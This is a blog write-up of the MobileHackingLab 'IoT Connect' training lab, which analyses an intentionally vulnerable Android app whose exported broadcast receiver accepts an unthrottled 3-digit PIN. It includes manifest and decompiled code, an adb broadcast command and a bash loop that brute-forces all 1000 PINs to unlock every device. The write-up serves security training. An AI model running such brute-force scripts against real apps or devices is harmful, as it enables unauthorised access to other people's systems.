August 23, 2026
MobileHackingLab “IoT Connect” Lab Writeup
Continuing my run through MobileHackingLab’s challenges, this one moves away from crypto and native code and into something more familiar…
By Arvin
6 min read
Continuing my run through MobileHackingLab's challenges, this one moves away from crypto and native code and into something more familiar from my usual work: broken access control, just on IPC instead of an API.
Overview
In this lab, we look at the IoT Connect challenge, where the goal is to enable a set of simulated smart-home devices that are gated behind a Master Switch that requires a PIN. Instead of exposing the PIN check through the UI, the app exposes it through an unprotected broadcast receiver, meaning it can be triggered directly from an adb shell without ever touching the app's own interface. The objective was to identify that receiver, understand how the PIN is validated, and recover the correct value.
1. Reconnaissance / Attack Surface
As with any Android engagement, we started by installing the APK and clicking around to get a feel for what the app actually does. IoT Connect opens with a basic Name and Password field pair, followed by Login and Signup buttons — no email, no OTP, just those two fields to get in the door.
Since there was no existing account to log into, we registered one first by filling in the Name and Password fields and hitting Signup, then logged in with the same credentials.
We get a confirmation of the user creation.
Signing in drops you into a screen with a note: "Please note that as a guest, you don't have control over all devices." alongside two options: Setup and Master Switch.
As a freshly registered/guest-level user, Setup only grants control over a subset of the device categories — Fans, Bulbs, and Smart Plug can be toggled directly, while AC, Speaker, and TV remain off-limits regardless of their on/off state.
Setup leads into the device dashboard itself, tabbed across categories (Fans, AC, Bulbs, Speaker, TV, and Smart Plug) with every device toggle sitting off by default.
Full control across every category, including the ones a guest can't touch (AC, Speaker, TV), is locked behind the Master Switch instead.
Master Switch, on the other hand, doesn't toggle anything directly — it drops straight into a PIN entry screen: "Enter the 3-digit pin" with a PIN field and a Check button.
That Check button is the piece worth pulling apart. With no obvious way to unlock every device from Setup itself, the Master Switch's PIN gate is the real target.
With nothing exploitable on the surface, we decompiled the APK with JADX to look at what components are actually exposed.
Reviewing AndroidManifest.xml, one component stood out immediately: a broadcast receiver named MasterReceiver, declared with exported="true", registered against a custom action, MASTER_ON:
<receiver
android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="MASTER_ON"/>
</intent-filter>
</receiver><receiver
android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="MASTER_ON"/>
</intent-filter>
</receiver>
An exported receiver with no android:permission attribute means any other component on the device, another app, or a shell issuing am broadcast — can invoke it directly. No permission is required to reach it.
2. Static Analysis
Following that thread led to CommunicationManager, which registers a second anonymous BroadcastReceiver at runtime for the same MASTER_ON action:
public final BroadcastReceiver initialize(Context context) {
masterReceiver = new BroadcastReceiver() { // from class: com.mobilehackinglab.iotconnect.CommunicationManager.initialize.1
@Override // android.content.BroadcastReceiver
public void onReceive(Context context2, Intent intent) {
if (Intrinsics.areEqual(intent != null ? intent.getAction() : null, "MASTER_ON")) {
int key = intent.getIntExtra("key", 0);
if (context2 != null) {
if (Checker.INSTANCE.check_key(key)) {
CommunicationManager.INSTANCE.turnOnAllDevices(context2);
Toast.makeText(context2, "All devices are turned on", 1).show();
} else {
Toast.makeText(context2, "Wrong PIN!!", 1).show();
}
}
}
}
};
BroadcastReceiver broadcastReceiver = masterReceiver;
context.registerReceiver(broadcastReceiver, new IntentFilter("MASTER_ON"));
return masterReceiver;
}public final BroadcastReceiver initialize(Context context) {
masterReceiver = new BroadcastReceiver() { // from class: com.mobilehackinglab.iotconnect.CommunicationManager.initialize.1
@Override // android.content.BroadcastReceiver
public void onReceive(Context context2, Intent intent) {
if (Intrinsics.areEqual(intent != null ? intent.getAction() : null, "MASTER_ON")) {
int key = intent.getIntExtra("key", 0);
if (context2 != null) {
if (Checker.INSTANCE.check_key(key)) {
CommunicationManager.INSTANCE.turnOnAllDevices(context2);
Toast.makeText(context2, "All devices are turned on", 1).show();
} else {
Toast.makeText(context2, "Wrong PIN!!", 1).show();
}
}
}
}
};
BroadcastReceiver broadcastReceiver = masterReceiver;
context.registerReceiver(broadcastReceiver, new IntentFilter("MASTER_ON"));
return masterReceiver;
}This is where the actual PIN validation lives, not in MasterReceiver from the manifest, but in whichever component calls CommunicationManager.initialize() at runtime (in this app, that happens once the user is past login). A few things fall out of this:
- The extra is read with
getIntExtra("key", 0), so the PIN has to be delivered as an integer extra (--ei) rather than a string. - The actual comparison is delegated to
Checker.INSTANCE.check_key(key)— a separate, more heavily obfuscated class rather than an inline literal. That made static recovery of the exact PIN impractical without deeper work, but it didn't matter: the receiver itself gives away a perfect oracle. A correct key shows "All devices are turned on"; anything else shows "Wrong PIN!!" — an unambiguous signal for every single attempt. - There is no attempt counter, no delay, and no lockout logic anywhere in
onReceive(). - Once the correct key is confirmed,
turnOnAllDevices()writestruedirectly into theSharedPreferencesbacking every device fragment — Fans (both units), AC, Smart Plug, Speaker, TV, and Bulbs, flipping all of them at once, not just the ones a guest account is normally allowed to touch.
A 3-digit PIN only has 1,000 possible values. Combined with zero rate-limiting on the receiver and a clear success/failure oracle in the Toast messages, that's a brute-forceable secret by design.
3. The Vulnerability
Put together, this is an example of Insecure Inter-Process Communication (IPC) on Android:
- Overexposed component —
MasterReceiveris declared exported with no signature-level permission gating who can send it intents, and the dynamically-registered receiver insideCommunicationManagerlistens on the same unauthenticated action. - Weak secret — a 3-digit numeric PIN, brute-forceable in well under a second per attempt, regardless of how well
Checker.check_key()itself is obfuscated. - No abuse prevention — nothing in
onReceive()penalizes repeated failed attempts, and the app conveniently confirms each guess with a distinct Toast message.
Any one of these being fixed would have meaningfully raised the bar. All three being present at once turns "unlock every device" into a one-liner loop.
4. Confirming the Broadcast Contract
Before writing anything automated, we confirmed the receiver was reachable and that the action/extra names were correct with a single manual broadcast:
PS C:\Users\vin\Downloads\APK Files\com.mobilehackinglab.iotconnect> adb shell am broadcast -a MASTER_ON --ei key 123
Broadcasting: Intent { act=MASTER_ON flg=0x400000 (has extras) }
Broadcast completed: result=0PS C:\Users\vin\Downloads\APK Files\com.mobilehackinglab.iotconnect> adb shell am broadcast -a MASTER_ON --ei key 123
Broadcasting: Intent { act=MASTER_ON flg=0x400000 (has extras) }
Broadcast completed: result=0Note: result=0 only confirms the broadcast was delivered to the receiver — it says nothing about whether 123 was the correct PIN. That had to be verified against the app's actual state, not the broadcast's own return code.
5. Exploitation
Since there's no lockout on the receiver, all 1,000 possible 3-digit values ( 000 — 999) can be exhausted in one short script:
#!/bin/bash
# Sends all 000-999 PIN combos via MASTER_ON broadcast
for i in $(seq 0 999); do
padded=$(printf "%03d" "$i")
echo "[*] Trying PIN: $padded"
adb shell am broadcast -a MASTER_ON --ei key "$i" # send as plain decimal, no leading zero
sleep 0.2
done
echo "[+] Done. All 1000 combinations sent."#!/bin/bash
# Sends all 000-999 PIN combos via MASTER_ON broadcast
for i in $(seq 0 999); do
padded=$(printf "%03d" "$i")
echo "[*] Trying PIN: $padded"
adb shell am broadcast -a MASTER_ON --ei key "$i" # send as plain decimal, no leading zero
sleep 0.2
done
echo "[+] Done. All 1000 combinations sent."
Running this against the device sent every possible PIN in under four minutes. Because the receiver has no throttling, every broadcast lands, and the Toast message flips from "Wrong PIN!!" to "All devices are turned on" the moment the correct value is hit — a clean, built-in success oracle we didn't have to engineer ourselves.
From there, the Setup screen's devices flipped straight from off to on, across every category, without ever entering a PIN through the Master Switch UI:
The Check button on the Master Switch screen was never touched. The receiver-level brute force alone was enough to flip turnOnAllDevices()'s SharedPreferences writes and re-render Setup as fully enabled, including AC, Speaker, and TV, categories a guest account isn't supposed to control at all.
Final Thoughts
IoT Connect is a good reminder that not every Android vulnerability lives in an activity or a content provider, broadcast receivers are just as much a part of the app's attack surface, and they're easy to overlook because they don't have a UI of their own. A quick manifest review here immediately narrowed the target, and the actual exploitation didn't need Frida, root, or any code execution inside the app at all — just an adb shell and a ten-line loop.
This lab is a useful reminder that the underlying bug classes carry over between platforms even when transport looks unfamiliar.